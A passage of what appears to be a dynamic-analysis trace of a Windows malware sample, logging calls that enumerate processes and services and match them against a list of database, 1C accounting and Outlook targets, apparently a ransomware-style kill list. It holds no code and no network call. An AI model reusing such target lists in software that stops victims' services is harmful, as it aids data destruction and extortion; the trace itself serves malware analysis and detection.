returned -1 [0248.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0248.636] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0248.636] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0248.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0248.636] lstrlenW (lpString="WdiSystemHost") returned 13 [0248.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0248.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0248.636] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0248.636] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0248.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0248.636] lstrlenW (lpString="Winmgmt") returned 7 [0248.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0248.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0248.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0248.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0248.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0248.637] lstrlenW (lpString="WPDBusEnum") returned 10 [0248.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0248.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0248.637] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0248.637] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0248.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0248.637] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x424e078 | out: hHeap=0x880000) returned 1 [0248.637] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d4 [0248.643] Process32FirstW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.645] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.646] lstrlenW (lpString="System") returned 6 [0248.646] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0248.646] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0248.646] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0248.646] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0248.646] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0248.646] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0248.646] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0248.646] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.647] lstrlenW (lpString="smss.exe") returned 8 [0248.647] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0248.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0248.648] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0248.648] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0248.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0248.648] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0248.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0248.648] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.649] lstrlenW (lpString="csrss.exe") returned 9 [0248.649] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0248.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0248.649] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0248.649] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0248.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0248.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0248.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0248.650] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.651] lstrlenW (lpString="wininit.exe") returned 11 [0248.651] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0248.651] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0248.651] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0248.651] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0248.651] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0248.651] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0248.651] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0248.651] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.652] lstrlenW (lpString="csrss.exe") returned 9 [0248.652] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0248.652] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0248.653] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0248.653] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0248.653] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0248.653] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0248.653] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0248.653] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.930] lstrlenW (lpString="winlogon.exe") returned 12 [0248.930] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0248.930] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0248.930] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0248.930] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0248.930] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.931] lstrlenW (lpString="services.exe") returned 12 [0248.932] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.933] lstrlenW (lpString="lsass.exe") returned 9 [0248.933] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0248.934] lstrlenW (lpString="lsm.exe") returned 7 [0248.934] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.935] lstrlenW (lpString="svchost.exe") returned 11 [0248.935] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.936] lstrlenW (lpString="svchost.exe") returned 11 [0248.936] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.938] lstrlenW (lpString="svchost.exe") returned 11 [0248.938] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.939] lstrlenW (lpString="svchost.exe") returned 11 [0248.939] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.940] lstrlenW (lpString="svchost.exe") returned 11 [0248.941] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.941] lstrlenW (lpString="audiodg.exe") returned 11 [0248.942] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.943] lstrlenW (lpString="svchost.exe") returned 11 [0248.943] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.944] lstrlenW (lpString="explorer.exe") returned 12 [0248.944] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.945] lstrlenW (lpString="dwm.exe") returned 7 [0248.945] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.946] lstrlenW (lpString="svchost.exe") returned 11 [0248.946] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0248.947] lstrlenW (lpString="driver.exe") returned 10 [0248.947] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.948] lstrlenW (lpString="spoolsv.exe") returned 11 [0248.948] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0248.950] lstrlenW (lpString="taskhost.exe") returned 12 [0248.950] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.952] lstrlenW (lpString="svchost.exe") returned 11 [0248.952] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0248.953] lstrlenW (lpString="reader_sl.exe") returned 13 [0248.953] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0248.954] lstrlenW (lpString="taskhost.exe") returned 12 [0248.954] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0248.955] CloseHandle (hObject=0x3d4) returned 1 [0248.956] Sleep (dwMilliseconds=0x1f4) [0252.146] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0252.154] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0252.155] GetLastError () returned 0xea [0252.155] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x113e) returned 0x424e078 [0252.156] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x424e078, cbBufSize=0x113e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x424e078, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0252.158] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0252.159] lstrlenW (lpString="Appinfo") returned 7 [0252.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0252.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0252.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0252.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0252.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0252.160] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0252.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.160] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0252.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0252.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0252.160] lstrlenW (lpString="AudioSrv") returned 8 [0252.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0252.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0252.160] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0252.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0252.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0252.161] lstrlenW (lpString="BFE") returned 3 [0252.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0252.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0252.161] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0252.161] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0252.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0252.161] lstrlenW (lpString="CryptSvc") returned 8 [0252.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0252.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0252.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0252.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0252.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0252.162] lstrlenW (lpString="CscService") returned 10 [0252.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0252.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0252.162] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0252.162] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0252.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0252.162] lstrlenW (lpString="DcomLaunch") returned 10 [0252.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0252.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0252.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0252.163] lstrlenW (lpString="Dhcp") returned 4 [0252.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0252.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0252.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0252.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0252.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0252.163] lstrlenW (lpString="Dnscache") returned 8 [0252.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0252.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0252.164] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0252.164] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0252.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0252.164] lstrlenW (lpString="DPS") returned 3 [0252.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0252.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0252.164] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0252.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0252.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0252.165] lstrlenW (lpString="eventlog") returned 8 [0252.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0252.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0252.165] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0252.165] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0252.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0252.165] lstrlenW (lpString="EventSystem") returned 11 [0252.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0252.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0252.166] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0252.166] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0252.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0252.166] lstrlenW (lpString="gpsvc") returned 5 [0252.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0252.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0252.168] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0252.168] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0252.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0252.168] lstrlenW (lpString="iphlpsvc") returned 8 [0252.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0252.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0252.168] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0252.168] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0252.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0252.168] lstrlenW (lpString="LanmanServer") returned 12 [0252.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0252.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0252.169] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0252.169] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0252.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0252.169] lstrlenW (lpString="LanmanWorkstation") returned 17 [0252.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0252.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0252.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0252.170] lstrlenW (lpString="lmhosts") returned 7 [0252.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0252.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0252.170] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0252.170] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0252.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0252.171] lstrlenW (lpString="MMCSS") returned 5 [0252.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0252.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0252.171] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0252.171] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0252.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0252.171] lstrlenW (lpString="MpsSvc") returned 6 [0252.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0252.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0252.172] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0252.172] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0252.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0252.172] lstrlenW (lpString="Netman") returned 6 [0252.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0252.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0252.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0252.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0252.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0252.173] lstrlenW (lpString="netprofm") returned 8 [0252.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0252.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0252.173] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0252.173] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0252.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0252.174] lstrlenW (lpString="NlaSvc") returned 6 [0252.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0252.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0252.174] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0252.174] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0252.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0252.174] lstrlenW (lpString="nsi") returned 3 [0252.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 